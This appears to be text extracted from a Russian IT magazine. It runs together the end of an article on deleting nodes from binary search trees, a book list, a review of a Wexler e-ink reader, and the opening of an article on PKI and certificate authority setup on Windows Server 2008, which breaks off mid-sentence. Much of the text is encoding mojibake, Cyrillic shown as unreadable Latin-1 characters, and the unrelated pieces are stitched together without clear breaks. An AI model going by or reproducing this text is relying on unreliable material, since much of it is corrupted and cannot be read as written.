2.3.2. Åñëè îäíîãî èç ïîòîìêîâ íåò, òî çíà÷åíèÿ ïîëåé 

âòîðîãî ïîòîìêà m ñòàâèì âìåñòî ñîîòâåòñòâóþùèõ çíà-

÷åíèé êîðíåâîãî óçëà, çàòèðàÿ åãî ñòàðûå çíà÷åíèÿ, è 

îñâîáîæäàåì ïàìÿòü, çàíèìàåìóþ óçëîì m;

2.3.3. Åñëè îáà ïîòîìêà ïðèñóòñòâóþò, òî:

2.3.3.1. Íàéäåì óçåë m, ÿâëÿþùèéñÿ ñàìûì ëåâûì óçëîì 

ïðàâîãî ïîääåðåâà ñ êîðíåâûì óçëîì Right(n);

2.3.3.2. Ïðèñâîèì ññûëêå Left(m) çíà÷åíèå Left(n);

2.3.3.3. Ññûëêó íà óçåë n â óçëå Parent(n) çàìåíÿåì 

íà Right(n);

2.3.3.4. Îñâîáîäèì ïàìÿòü, çàíèìàåìóþ óçëîì n.

Как видно, даже относительно сложная операция удаления узла выгля-
дит не так страшно, если понимать структуру двоичного дерева поиска. 
Главное — правильно построить это дерево. Оно должно быть сба-
лансировано, то есть желательно, чтобы все пути в дереве от корня до 
листьев имели примерно одинаковую длину, иначе мы можем сильно 
потерять в производительности. Крайним случаем является ситуация, 
когда все узлы имеют лишь одно поддерево, левое или правое. В этом 
случае поиск в таком дереве будет по скорости равен поиску в списке.

Заключение
К сожалению, в одной статье невозможно рассказать достаточно под-
робно обо всех алгоритмах поиска и структурах данных. Для этого надо 
писать книгу, и не одну. Впрочем, такие книги уже есть, и правильный 
выбор подхода к хранению и обработке данных позволит добиться 
максимальной эффективности при работе с терабайтными массивами 
информации. z

×ÒÎ ÏÎ×ÈÒÀÒÜ?
Äëÿ òåõ, êîãî çàèíòåðåñîâàëà òåìà àëãîðèòìîâ õðàíåíèÿ è 

îáðàáîòêè äàííûõ, ñîâåòóþ ïî÷èòàòü êíèãè Äîíàëüäà Êíóòà. 

Ïîæàëóé, ñàìûì èçâåñòíûì åãî òðóäîì ÿâëÿåòñÿ ñåðèÿ «Èñ-

êóññòâî ïðîãðàììèðîâàíèÿ», êîòîðàÿ ïîñâÿùåíà àëãîðèòìàì 

è ñòðóêòóðàì äàííûõ è ñîäåðæèò íåñêîëüêî òîìîâ. Ýòè êíèãè 

ñ÷èòàþòñÿ êëàññèêîé è äîëæíû áûòü íà ïîëêå ó êàæäîãî óâà-

æàþùåãî ñåáÿ êîäåðà.

Õîðîøèì èñòî÷íèêîì çíàíèé â îáëàñòè ïîèñêà è ñîðòèðîâêè 

ïîñëóæèò êíèãà «Ôóíäàìåíòàëüíûå àëãîðèòìû íà C» Ðîáåðòà 

Ñåäæâèêà. Â íåé ðàññìàòðèâàþòñÿ òàêèå âîïðîñû, êàê àíà-

ëèç àëãîðèòìîâ, ñòðóêòóðû äàííûõ, ñîðòèðîâêà è ïîèñê, à 

òàêæå àëãîðèòìû íà ãðàôàõ.

Графическое представление бинарного дерева поиска
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Ïðîùàé, áóìàãà!
Êðóïíåéøèé â ìèðå èíòåðíåò-ìàãàçèí Amazon.com îáúÿâèë, ÷òî âïåðâûå ïðîäàë â ýëåêòðîí-

íîì âèäå êíèæåê áîëüøå, ÷åì íà òðàäèöèîííîì áóìàæíîì íîñèòåëå. Â ìåòðî âñå ÷àùå âè-

äèøü â ðóêàõ ëþäåé óäîáóþ è ëåãêóþ ýëåêòðîííóþ ÷èòàëêó, à íå îáû÷íóþ êíèãó ñ ïîòðåïàííîé 

îáëîæêîé. Ýòî ëåãêî ïîíÿòü: ïðè âñåì óäîáñòâå e-ink reader îòáèâàåò ñâîþ ñòîèìîñòü óæå íà 

âòîðîì äåñÿòêå êíèã. Îñîáåííî åñëè èçíà÷àëüíàÿ öåíà óñòðîéñòâà ñîñòàâëÿåò 7 òûñÿ÷ ðóáëåé, 

êàê â ñëó÷àå ñ Wexler.

 Экран Epson Display 
диагональю 6 дюймов 
разрешением 800 х 600 
выполнен по технологии 
E-Ink и отображает 16 
градаций серого. В отличие 
от разрекламированных 
коммуникаторов и 
планшетов, он создает 
минимум напряжения для 
глаз.

 Читалка поддерживает 
большое количество 
разных форматов. Wexler 
легко переварит книги в 
форматах FB2, EPUB, PDF, 
HTML, TXT. Соответственно, 
не придется морочить себе 
голову, преобразуя один 
формат в другой.

 При включении
книжки Wexler пользователь 
попадает сразу к последнему 
месту чтения. Кроме того, есть 
возможность слушать FM-
радио со встроенного тюнера 
и играть в простейшие 
компьютерные игры.

 Для хранения книг 
устройство предлагает 2 Гб 
внутренней памяти, при этом 
есть возможность с помощью 
micro-SD увеличить объем 
до 10 Гб.  Li-ion аккумулятор 
емкостью 1500 mAh 
полностью заряжается за 
четыре часа и выдерживает 
11 тыс. перелистываний.

 ТЕХНИЧЕСКИЕ ПОДРОБНОСТИ
Процессор: ARM9
Текстовые форматы: TXT, EPUB, RTF, HTM, HTML, PDF, Fb2
Форматы изображений:  JPG, JPEG, BMP, GIF
Аудио форматы:  mp3 (32kbps-384kbps), wma (32kbps-
192kbps)
Дополнительно: Встроенный динамик
Габариты: 65x126,5x9,5 мм
Вес: 215 грамм
Подробнее о продукте www.wexler.ru

 Клавиатура организована 
по логике телефонной. 
В некоторых приложениях 
напротив кнопок 
высвечиваются пункты меню. 
В самом низу расположена 
кнопка управления 
закладками и быстрым 
переходом к определенной 
странице. 

Цена 
7000 руб.
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Каждый IT’шник слышал про сертификаты, и практически каждый их использовал. Многие читали 
распространенные пошаговые руководства, как установить центр сертификации. Кто-то находил 
немногочисленные материалы о том, как планировать развертывание инфраструктуры открытых 
ключей. В этой статье будет рассказано о возможностях и функциях компонентов PKI 
и параметрах сертификатов, чтобы стало понятно, почему и зачем надо предпринимать 
те или иные шаги при установке и настройке центров сертификации. В качестве примера будет 
приведена установка и настройка двухуровневой иерархии удостоверяющих центров на базе 
Windows Server 2008.

Ðàçâîðà÷èâàåì 
«êëþ÷åâóþ» 
èíôðàñòðóêòóðó

Определения
Ïðè îáùåíèè ñ àäìèíèñòðàòîðàìè, è óæ òåì áîëåå — ñ ïîëüçîâàòåëÿìè, 
÷àñòî âûÿñíÿåòñÿ, ÷òî èñïîëüçîâàòü ñåðòèôèêàòû îíè óæå íàó÷èëèñü, íî 
íà âîïðîñ, ÷òî ýòî òàêîå, ìîæíî ÷àñòî óñëûøàòü íåóâåðåííûé îòâåò «íó, 
ýòî… íó, äëÿ àóòåíòèôèêàöèè». Ïîýòîìó ïîçâîëþ ñåáå íà÷àòü ñòàòüþ ñ 
îïðåäåëåíèé; òå, êòî ñ íèìè çíàêîì, ìîãóò ñðàçó ïåðåõîäèòü ê ñëåäóþùå-
ìó ðàçäåëó.
Ñåðòèôèêàò — ýòî ôàéë èëè îáúåêò, õðàíÿùèéñÿ â áàçå äàííûõ, êîòîðûé 
ñîäåðæèò ñëåäóþùèå ïîëÿ: íîìåð, îòêðûòûé êëþ÷, èíôîðìàöèþ î 
âëàäåëüöå êëþ÷à è âàðèàíòàõ åãî èñïîëüçîâàíèÿ, èíôîðìàöèþ îá ÓÖ, 
âûäàâøåì ñåðòèôèêàò, è ñðîê äåéñòâèÿ. Êðîìå ïåðå÷èñëåííûõ ïîëåé 
ñåðòèôèêàò ìîæåò ñîäåðæàòü è äðóãèå äàííûå. Ôîðìàò ñåðòèôèêàòà 
îïðåäåëÿåòñÿ ñòàíäàðòîì X.509, íà äàííûé ìîìåíò äåéñòâóåò òðåòüÿ âåð-
ñèÿ ñòàíäàðòà. Âñÿ èíôîðìàöèÿ, ñîäåðæàùàÿñÿ â ñåðòèôèêàòå, çàâåðåíà 
ïîäïèñüþ ÓÖ. 
Èíôðàñòðóêòóðà îòêðûòûõ êëþ÷åé (Public Key Infrastructure (PKI)) — ýòî 
íàáîð âçàèìîñâÿçàííûõ ïðîãðàììíûõ è àïïàðàòíûõ êîìïîíåíòîâ, à 
òàêæå àäìèíèñòðàòèâíûõ è îðãàíèçàöèîííûõ ìåð  äëÿ ðàáîòû ñ êðèïòîã-
ðàôè÷åñêèìè ñèñòåìàìè, èñïîëüçóþùèìè àññèìåòðè÷íûå àëãîðèòìû. 
Ïðèëîæåíèÿ, îòíîñÿùèåñÿ ê PKI, ìîæíî ðàçäåëèòü íà äâå êàòåãîðèè:
•  ïðèëîæåíèÿ äëÿ ðàáîòû òîëüêî ñ ñåðòèôèêàòàìè — öåíòðû ðåãèñòðà-
öèè, öåíòðû ñåðòèôèêàöèè, êàòàëîãè ñåðòèôèêàòîâ;
• ïîëüçîâàòåëüñêèå ïðèëîæåíèÿ — ïî÷òîâûå êëèåíòû, áðàóçåðû, ñèñòå-
ìû çàùèùåííîãî äîêóìåíòîîáîðîòà è äð.
Êðîìå òåõíè÷åñêîé ñîñòàâëÿþùåé âàæíóþ ðîëü èãðàþò è «áþðîêðà-
òè÷åñêèå» êîìïîíåíòû PKI, îñîáåííî êîãäà ñóùåñòâóåò ïîòðåáíîñòü 
ðåàëèçîâàòü þðèäè÷åñêè çíà÷èìûé ýëåêòðîííûé äîêóìåíòîîáîðîò. 
Ïîëèòèêè ñåðòèôèêàöèè (Certificate Policy) è ðåãëàìåíò ÓÖ (Certificate 
Practice Statements) ïîçâîëÿþò îïðåäåëèòü óðîâåíü äîâåðèÿ ê èçäàâàå-
ìûì ñåðòèôèêàòàì.
Åñëè ïîëèòèêè è ðåãëàìåíòû, ñîñòàâ è ïðîèçâîäèòåëè ïîëüçîâàòåëüñêèõ 
ïðèëîæåíèé ìîãóò ìåíÿòüñÿ îò îðãàíèçàöèè ê îðãàíèçàöèè, òî íàëè÷èå 

öåíòðà ñåðòèôèêàöèè, ïóñòü è îò ðàçíûõ âåíäîðîâ, îñòàåòñÿ íåèçìåí-
íûì. Óäîñòîâåðÿþùèé öåíòð — ýòî îñíîâà èíôðàñòðóêòóðû îòêðûòûõ 
êëþ÷åé, êîòîðàÿ îáúåäèíÿåò ïðîãðàììíûå ìîäóëè è àïïàðàòíûå 
êîìïîíåíòû (íàïðèìåð, HSM — Hardware Security Module). Ïðåæäå ÷åì 
îïèñûâàòü ôóíêöèè ÓÖ, ïîñìîòðèì íà æèçíåííûé öèêë êëþ÷åé è ñåðòè-
ôèêàòîâ, ïîêàçàííûé íà ñõåìå (ñì íèæå). Íå âñå ïðèâåäåííûå íà ñõåìå 
ïóíêòû îáÿçàòåëüíî âñòðå÷àþòñÿ äëÿ êàæäîãî êëþ÷à èëè ñåðòèôèêàòà.
Ñíà÷àëà ãåíåðèðóåòñÿ êëþ÷ — â çàâèñèìîñòè îò åãî ïðåäíàçíà÷åíèÿ 
ãåíåðàöèÿ ìîæåò ïðîèñõîäèòü êàê íà ñòîðîíå êëèåíòà, òàê è íà ñòîðîíå 
ñåðâåðà, îñîáåííî ïðè èñïîëüçîâàíèè àïïàðàòíûõ ãåíåðàòîðîâ ñëó÷àé-
íûõ ÷èñåë èëè àðõèâàöèè êëþ÷åé. Ïðåæäå ÷åì âûïóñòèòü ñåðòèôèêàò 
äëÿ ñîçäàííîãî îòêðûòîãî êëþ÷à, íåîáõîäèìî âûïîëíèòü ïðîâåðêó 
äàííûõ, ïðåäîñòàâëåííûõ â çàïðîñå íà ñåðòèôèêàò. Ïðîâåðêà èíôîðìà-
öèè î âëàäåëüöå êëþ÷à, â çàâèñèìîñòè îò òèïà ñåðòèôèêàòà, âàðüèðóåòñÿ 
îò îòïðàâêè ññûëîê íà óêàçàííûé â çàïðîñå e-mail, äî ïðåäúÿâëåíèÿ 
ïàñïîðòà è äàííûõ î çàðåãèñòðèðîâàííîì äîìåíå. Çàäà÷è ïî ïðîâåðêå 
âûïîëíÿåò öåíòð ðåãèñòðàöèè, êîòîðûé çà÷àñòóþ ÿâëÿåòñÿ êîìïîíåí-
òîì öåíòðà ñåðòèôèêàöèè.
Ïîñëå ýòîãî ñåðòèôèêàò äîëæåí áûòü ïîìåùåí â õðàíèëèùå, äîñòóïíîå 
òåì, êòî áóäåò èñïîëüçîâàòü ýòîò ñåðòèôèêàò — ýòî ìîæåò áûòü ñëóæáà 
êàòàëîãîâ èëè âåá-ñåðâåð. Äàëåå ñåðòèôèêàò èñïîëüçóåòñÿ â ðàáî÷åì 
ïîðÿäêå äî òåõ ïîð, ïîêà íå èñòå÷åò ñðîê äåéñòâèÿ êëþ÷à èëè ñåðòèôèêàò 
íå áóäóò îòîçâàí. Ïðè÷èíû îòçûâà ìîãóò áûòü ñâÿçàíû ñ èçìåíåíè-
åì äàííûõ î âëàäåëüöå (ñìåíà ôàìèëèè èëè äîëæíîñòè, èçìåíåíèå 
íàçâàíèå ñàéòà) èëè êîìïðîìåòàöèåé çàêðûòîãî êëþ÷à. Âàæíàÿ çàäà÷à 
ÓÖ — ïîääåðæàíèå àêòóàëüíîé èíôîðìàöèè î ñòàòóñå ñåðòèôèêàòà. 
Íåîáõîäèìî èçáåæàòü ñèòóàöèé, êîãäà çëîóìûøëåííèê ñ ïîìîùüþ óêðà-
äåííîãî çàêðûòîãî êëþ÷à ïîäïèñûâàåò äîãîâîð, êîòîðûé âïîñëåäñòâèè 
ïðèçíàåòñÿ äåéñòâèòåëüíûì, òàê êàê íà ìîìåíò ïîäïèñàíèÿ ñåðòèôèêàò 
íå áûë îòîçâàí. ÓÖ äîëæåí ðåãóëÿðíî è ìàêñèìàëüíî ÷àñòî îáíîâëÿòü 
èíôîðìàöèþ î ñòàòóñå ñåðòèôèêàòà, à âëàäåëåö ñåðòèôèêàòà äîëæåí 
êàê ìîæíî ðàíüøå ñîîáùàòü î íåîáõîäèìîñòè îòçûâà èëè ïåðåâûïóñêà 
ñåðòèôèêàòà. Äëÿ ïðåäîñòàâëåíèÿ èíôîðìàöèè î ñòàòóñå ñåðòèôèêàòà 

Óñòàíîâêà è íàñòðîéêà äâóõóðîâíåâîé 
èåðàðõèè óäîñòîâåðÿþùèõ öåíòðîâ íà áàçå 
Windows Server 2008.
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èñïîëüçóþòñÿ ñïèñêè îòçûâà, êîòîðûå ñîäåðæàò èíôîðìàöèþ îáî âñåõ 
îòîçâàííûõ ñåðòèôèêàòàõ, èëè èçìåíåíèÿõ ïî ñðàâíåíèþ ñ ïðåäûäóùèì 
ñïèñêîì îòçûâà, èëè ïðîòîêîë OCPS (Online Certificate Status Protocol). 
Ñïèñêè îòçûâà ãåíåðèðóþòñÿ ñ çàäàííûì íà ÓÖ èíòåðâàëîì, â òî âðåìÿ 
êàê ñ èñïîëüçîâàíèåì êîìïîíåíòà OCSP responder ìîæíî ïîëó÷èòü 
èíôîðìàöèþ î ñòàòóñå ñåðòèôèêàòà â ðåàëüíîì âðåìåíè. Â òîì ñëó÷àå, 
åñëè çàêîí÷èëñÿ ñðîê äåéñòâèÿ çàêðûòîãî êëþ÷à, òî öåíòð ñåðòèôèêà-
öèè çàíèìàåòñÿ âûïóñêîì íîâîãî ñåðòèôèêàòà äëÿ íîâîãî êëþ÷à èëè 
äëÿ ýòîãî æå êëþ÷à, íî ñ äðóãèì ñðîêîì äåéñòâèÿ (èñïîëüçîâàíèå òîãî æå 
êëþ÷à îïðàâäàíî, íàïðèìåð, äëÿ ñåðòèôèêàòîâ àãåíòîâ âîññòàíîâëåíèÿ 
êëþ÷åé, ÷òîáû èçáåæàòü ïðîöåäóðû ýêñïîðòà-ïåðåøèôðîâàíèÿ-èìïîð-
òà çààðõèâèðîâàííûõ êëþ÷åé). 

Доверие
Êëþ÷åâîé àñïåêò PKI — ýòî äîâåðèå. Òî åñòü îáà ó÷àñòíèêà àóòåíòèôèêà-
öèè èëè îáìåíà ñîîáùåíèÿìè äîëæíû äîâåðÿòü öåíòðàì ñåðòèôèêàöèè, 
êîòîðûìè âûäàíû ñåðòèôèêàòû. Ðàññìîòðèì îáðàùåíèå, íàïðèìåð, 
ê áàíêîâñêîìó ñàéòó ïî HTTPS. Ïðåæäå ÷åì ñîçäàåòñÿ çàùèùåííîå 
ñîåäèíåíèå, ïîëüçîâàòåëü äîëæåí óáåäèòüñÿ, ÷òî ïîäêëþ÷àåòñÿ èìåííî 
ê òîìó ñàéòó, ê êîòîðîìó ïëàíèðîâàë. Àóòåíòèôèêàöèÿ ñàéòà ïðîèñõî-
äèò ñ èñïîëüçîâàíèåì SSL-ñåðòèôèêàòà. Ñðåäè ïðî÷åãî ïðîâåðÿåòñÿ, 
÷òî ñåðòèôèêàò âûäàí èìåííî äëÿ òîãî ñàéòà, ê êîòîðîìó ïðîèñõîäèò 
îáðàùåíèå, ÷òî ñåðòèôèêàò ìîæåò áûòü èñïîëüçîâàí äëÿ àóòåíòèôèêà-
öèè ñåðâåðà, ÷òî ñåðòèôèêàò íå áûë îòîçâàí, ÷òî äàííûå â ñåðòèôèêàòå 
íå áûëè èçìåíåíû òðåòüåé ñòîðîíîé. Ïîñëåäíÿÿ ïðîâåðêà òðåáóåò 
ïðîâåðêè ïîäïèñè ÓÖ, êîòîðûé âûäàâàë ñåðòèôèêàò äëÿ ñåðâåðà. Òî åñòü 
íåîáõîäèìî ïîëó÷èòü ñåðòèôèêàò êëþ÷à ÓÖ  è âûïîëíèòü àíàëîãè÷íûå 
ïðîâåðêè äëÿ ýòîãî ñåðòèôèêàòà. Îïÿòü æå, ñåðòèôèêàò ÓÖ äîëæåí áûòü 
çàâåðåí êàêîé-òî ïîäïèñüþ…  Äî êàêîãî ìîìåíòà äëÿòñÿ òàêèå ïðîâåð-
êè? Äî òåõ ïîð, ïîêà íå âñòðåòèòñÿ ñåðòèôèêàò ÓÖ, êîòîðûé íàõîäèòñÿ â 
ñïèñêå äîâåðåííûõ ñåðòèôèêàòîâ óäîñòîâåðÿþùèõ öåíòðîâ íà ñòîðîíå 
êëèåíòà. Îòêóäà áåðóòñÿ òàêèå ñïèñêè? Åñòü íåñêîëüêî âàðèàíòîâ: 
ñïèñêè ïîñòàâëÿþòñÿ âìåñòå ñ ÎÑ è îáíîâëåíèÿìè, èëè äîâåðåííûå ÓÖ 
äîáàâëÿþòñÿ àäìèíèñòðàòîðîì èëè ñàìèì ïîëüçîâàòåëåì. 
Ñòîèò óïîìÿíóòü åùå è ñàìîïîäïèñàííûå ñåðòèôèêàòû. Êîðíåâûå 
óäîñòîâåðÿþùèå öåíòðû âûäàþò ñåðòèôèêàòû ñàìè ñåáå, òî åñòü ÓÖ1 
âûäàåò ñåðòèôèêàò äëÿ êëþ÷à ÓÖ1, çàâåðåííûé ïîäïèñüþ ÓÖ1. Òàêèå 
ñàìîïîäïèñàííûå ñåðòèôèêàòû ÿâëÿþòñÿ îñíîâîé äîâåðèÿ, è ñ îäíîé 
ñòîðîíû îíè äîëæíû áûòü äîñòóïíû âñåì ó÷àñòíèêàì PKI, à ñ äðóãîé — â 
ñëó÷àå êîìïðîìåòàöèè èëè ïîäìåíû òàêîãî ñåðòèôèêàòà âñÿ ñèñòåìà 
äîëæíà ïåðåñòðàèâàòüñÿ çàíîâî, ñ ïåðåâûïóñêîì âñåõ ñåðòèôèêàòîâ è 
çàùèùåííûì ðàñïðîñòðàíåíèåì âñåì ïîëüçîâàòåëÿì íîâîãî êîðíåâîãî 

ñåðòèôèêàòà.   Ñóùåñòâóþò êîììåð÷åñêèå óäîñòîâåðÿþùèå öåíòðû, 
êîòîðûì àâòîìàòè÷åñêè äîâåðÿþò âñå ïîëüçîâàòåëè ÎÑ, à òàêæå 
ïîëüçîâàòåëè ðàçëè÷íûõ áðàóçåðîâ, îò Konqueror äî Google Chrome. Çà 
âûäà÷ó ñåðòèôèêàòîâ áîëüøèíñòâî èç íèõ õîòÿò ïîëó÷àòü äåíüãè, òàê 
÷òî ìíîãèå êîìïàíèè ðàçâåðòûâàþò ñâîè ñîáñòâåííûå ÖÑ, êîòîðûì èç-
íà÷àëüíî íèêòî íå äîâåðÿåò.  Êîðïîðàòèâíûé ÖÑ óäîáåí âîçìîæíîñòüþ 
ñîçäàíèÿ ñîáñòâåííûõ ïîëèòèê è øàáëîíîâ ñåðòèôèêàòîâ, íî ñîçäàåò 
ñëîæíîñòè ñ äîâåðèåì ñî ñòîðîíû êëèåíòîâ è ïàðòíåðîâ. Ñ êëèåíòàìè 
ïðîáëåìû äîâåðèÿ îáû÷íî ðåøàþòñÿ ïîêóïêîé SSL-ñåðòèôèêàòîâ äëÿ 
âåá-ñåðâåðîâ â êîììåð÷åñêèõ ÓÖ. Ñ ïàðòíåðàìè, èëè â ñëó÷àå ñëèÿíèé, 
ñòðîÿòñÿ ðàçëè÷íûå îòíîøåíèÿ äîâåðèÿ  ìåæäó íåñêîëüêèìè ÓÖ. Äëÿ 
ýòîãî èñïîëüçóþòñÿ êðîññ-ñåðòèôèêàòû (ñåðòèôèêàò ñ êëþ÷îì ÓÖ1 
çàâåðÿåòñÿ ïîäïèñüþ ÓÖ2 è íàîáîðîò), êîòîðûå ïîêàçûâàþò âçàèìíîå 
äîâåðèå ìåæäó ÓÖ íåñêîëüêèõ îðãàíèçàöèé. Íàèáîëåå ðàñïðîñòðàíåíû 
òðè ìîäåëè äîâåðèÿ (ñì ñõåìó  â êîíöå ñòàòüè):
• Мостовая (Bridge CA Model). Â äàííîé ìîäåëè ñóùåñòâóåò öåíòðàëüíûé 
(ìîñòîâîé) ÓÖ, êîòîðîìó äîâåðÿþò âñå îñòàëüíûå ÓÖ. Òàêàÿ ìîäåëü 
ïîçâîëÿåò îñóùåñòâëÿòü öåíòðàëèçîâàííîå óïðàâëåíèå  ïðè íåáîëüøîì 
êîëè÷åñòâå êðîññ-ñåðòèôèêàòîâ. Â êà÷åñòâå ïðèìåðà ìîæíî ïðèâåñòè 
ðåàëèçàöèþ US government’s Federal Bridge Certification Authority.
• В сетевой модели все УЦ считаются равноправными, è ñîçäàåòñÿ äî n2 
êðîññ-ñåðòèôèêàòîâ. Êðîññ-ñåðòèôèêàöèÿ íà óðîâíå êîðíåâûõ ÓÖ ìîæåò 
áûòü íå âñåãäà æåëàòåëüíîé, â ýòîì ñëó÷àå èñïîëüçóþòñÿ ñõåìû êðîññ-
ñåðòèôèêàöèè íà óðîâíå ïîä÷èíåííûõ ÓÖ ñ îãðàíè÷åíèåì äîâåðèÿ.
• Иерархическая модель îáû÷íî èñïîëüçóåòñÿ â êîìïàíèÿõ ñ ðàçâåòâ-
ëåííîé ñòðóêòóðîé, êîãäà åñòü êîðíåâîé ÓÖ è ïîä÷èíåííûå, íàïðèìåð, 
â ôèëèàëàõ. Êðîìå òîãî, èåðàðõè÷åñêàÿ ìîäåëü ïîçâîëÿåò ìèíèìèçèðî-
âàòü çàòðàòû ïðè ïåðåñòðîåíèè èíôðàñòðóêòóðû â ñëó÷àå êîìïðîìåòà-
öèè êëþ÷à ÓÖ. Äåéñòâèòåëüíî, åñëè ïðîèñõîäèò êîìïðîìåòàöèÿ êëþ÷à 
îäíîãî èç èçäàþùèõ (ïîä÷èíåííûõ) ÓÖ, òî íåîáõîäèìî ïåðåèçäàòü 
òîëüêî òå ñåðòèôèêàòû, êîòîðûå áûëè âûäàíû ýòèì ÓÖ. Áîëåå òîãî, òàêàÿ 
ìîäåëü ïîçâîëÿåò ñîçäàâàòü ÓÖ ñ ðàçëè÷íûìè ðåãëàìåíòàìè â ðàìêàõ 
îäíîé èíôðàñòðóêòóðû.
Åùå âñòðå÷àþòñÿ ãèáðèäíûå ìîäåëè è ñïèñêè äîâåðåííûõ ñåðòèôèêà-
òîâ, ðàñïðîñòðàíÿåìûõ ìåæäó çàèíòåðåñîâàííûìè ñòîðîíàìè.

Варианты установки УЦ
×òîáû ðåàëèçîâàòü èåðàðõè÷åñêóþ ìîäåëü äîâåðèÿ, ñóùåñòâóþò 
ðàçëè÷íûå âàðèàíòû óñòàíîâêè ÖÑ. Â Windows Server 2008 óñòàíîâêà 
öåíòðà ñåðòèôèêàöèè ïðîèñõîäèò ÷åðåç äîáàâëåíèå ðîëè Active Directory 
Certificate Services. Ïðè ïðîõîæäåíèè ìàñòåðà íåîáõîäèìî âûáðàòü òèï 
óñòàíîâêè è òèï öåíòðà ñåðòèôèêàöèè.



Âàðèàíò óñòàíîâêè (Enterprise èëè Standalone) âëèÿåò íà âîçìîæíîñòè 
öåíòðà ñåðòèôèêàöèè.  Íàïðèìåð, Enterprise CA ìîæåò èñïîëüçîâàòü 
øàáëîíû è àâòîìàòè÷åñêóþ ïîäà÷ó çàÿâîê íà ñåðòèôèêàò. Standalone 
ÓÖ, íåñìîòðÿ íà íàçâàíèå, ìîæåò áûòü ÷ëåíîì äîìåíà. Â ñëó÷àå æå 
èñïîëüçîâàíèÿ Standalone ÓÖ, â êà÷åñòâå Offline Root CA, îí äîëæåí áûòü 
÷ëåíîì ðàáî÷åé ãðóïïû. 
Ìîæíî óñòàíîâèòü äâà òèïà ÓÖ — Root CA è Subordinate CA. Äëÿ Root CA 
ñîçäàåòñÿ ñàìîïîäïèñàííûé ñåðòèôèêàò, äëÿ Subordinate CA íåîáõîäè-
ìî çàïðàøèâàòü ñåðòèôèêàò ó âûøåñòîÿùåãî ÓÖ. Ïîñëå óñòàíîâêè ÓÖ 
íåëüçÿ ìåíÿòü èìÿ ñåðâåðà, íà êîòîðîì îí óñòàíîâëåí, òàê êàê ñåðòèôè-
êàò ÓÖ îêàæåòñÿ íåäåéñòâèòåëüíûì. 
Óäîñòîâåðÿþùèå öåíòðû ìîæíî êëàññèôèöèðîâàòü ïî èõ ïðåä-
íàçíà÷åíèþ: äëÿ õðàíåíèÿ ïîëèòèê, âûïóñêà ñåðòèôèêàòîâ äëÿ 

ïîä÷èíåííûõ ÓÖ èëè äëÿ âûïóñêà ñåðòèôèêàòîâ äëÿ êîíå÷íûõ 
ïîëüçîâàòåëåé. Ìîæíî ñîçäàâàòü íåñêîëüêî öåíòðîâ äëÿ âûïóñêà 
ñåðòèôèêàòîâ, ðàçäåëÿÿ èõ ïî ãåîãðàôè÷åñêîìó ïðèçíàêó èëè ïî 
òèïó âûäàâàåìûõ ñåðòèôèêàòîâ. Íà÷èíàÿ ñ Windows Server 2008 R2 
îòïàëà íåîáõîäèìîñòü ñòàâèòü îòäåëüíûé ÓÖ â êàæäîì ëåñó îðãà-
íèçàöèè, òàê êàê ïîÿâèëàñü âîçìîæíîñòü âûäàâàòü ñåðòèôèêàòû 
ïîëüçîâàòåëÿì íå òîëüêî òîãî ëåñà, â êîòîðîì óñòàíîâëåí ÓÖ, íî 
è ïîëüçîâàòåëÿì òåõ ëåñîâ, ñ êîòîðûì íàñòðîåíû äîâåðèòåëüíûå 
îòíîøåíèÿ.
Äëÿ ïîâûøåíèÿ íàäåæíîñòè ñèñòåìû è ñíèæåíèÿ ïîñëåäñòâèé êîìï-
ðîìåòàöèè êîðíåâûå ÓÖ, è ÓÖ, õðàíÿùèå ïîëèòèêè, èñïîëüçóþòñÿ â 
ðåæèìå Offline, ÷òîáû èñêëþ÷èòü âîçìîæíîñòü àòàê ïî ñåòè.  Â êà÷åñòâå 
òèïà äëÿ òàêèõ ÓÖ âûáèðàþò Standalone CA. 

Поля сертификатов
Ïðåæäå ÷åì óñòàíàâëèâàòü ÓÖ, íåîáõîäèìî îáäóìàòü, äëÿ ÷åãî áóäóò 
èñïîëüçîâàòüñÿ ñåðòèôèêàòû. Â áîëüøèíñòâå ñëó÷àåâ äîáàâèòü íîâûå 
øàáëîíû ñåðòèôèêàòîâ íà óæå ðàáîòàþùèé ÓÖ íå ñîñòàâèò òðóäà, íî 
èçìåíèòü ïàðàìåòðû ñåðòèôèêàòà ñàìîãî ÓÖ áóäåò íåâîçìîæíî. Ïîýòî-
ìó íèæå ïåðå÷èñëåíû ïîëÿ ñåðòèôèêàòîâ, çíà÷åíèÿ äëÿ êîòîðûõ âàæíî 
ïðîäóìàòü äî íà÷àëà óñòàíîâêè ÓÖ.

AIA и CDP
Ïðè ïðîâåðêå ñåðòèôèêàòà íåîáõîäèìî ïîñòðîèòü öåïî÷êó ñåðòèôè-
êàòîâ äî äîâåðåííîãî ÓÖ è ïðîâåðèòü, ÷òî íè îäèí ñåðòèôèêàò â ýòîé 
öåïî÷êå íå áûë îòîçâàí. Ìåñòîïîëîæåíèå ñïèñêîâ îòçûâîâ (Certificate 
Revocation List (CRL)) è ñåðòèôèêàòîâ ÓÖ çàäàåòñÿ ïàðàìåòðàìè CRL 
Distribution Points (CDP) è Authority Information Access (AIA) ñîîòâåòñ-

òâåííî. Äëÿ êàæäîãî ïàðàìåòðà ìîæåò áûòü óêàçàíî íåñêîëüêî ïóòåé, 
è ïðîòîêîëîâ, ïî êîòîðûì ìîæíî ïîëó÷èòü äàííûå (íàïðèìåð, HTTP, 
LDAP èëè FTP).

Варианты использования ключа
Â ñåðòèôèêàòå îáÿçàòåëüíî óêàçûâàåòñÿ, äëÿ êàêèõ öåëåé áóäåò 
èñïîëüçîâàòüñÿ ñîîòâåòñòâóþùèé êëþ÷ — äëÿ ñîçäàíèÿ ïîäïèñè, 
øèôðîâàíèÿ, îáìåíà êëþ÷àìè, àóòåíòèôèêàöèè. 
Åñëè îòêðûòûé êëþ÷ èç ñåðòèôèêàòà áóäåò èñïîëüçîâàí äëÿ øèôðî-
âàíèÿ, òî íåîáõîäèìî ïðîäóìàòü è íàñòðîèòü âîçìîæíîñòü âîññòà-
íîâëåíèÿ çàêðûòîãî êëþ÷à èëè äàííûõ. Â ñèòóàöèè, êîãäà ñîòðóäíèê 
óâîëèëñÿ è íå ðàñøèôðîâàë äîêóìåíòû, íàä êîòîðûìè îí ðàáîòàë 
íåñêîëüêî ëåò, èëè ïîëüçîâàòåëü ïîòåðÿë òîêåí ñ çàêðûòûì êëþ÷îì, 
êîìïàíèÿ ìîæåò ïîòåðÿòü íå òîëüêî âðåìÿ íà ðàñøèôðîâêó äàííûõ, 
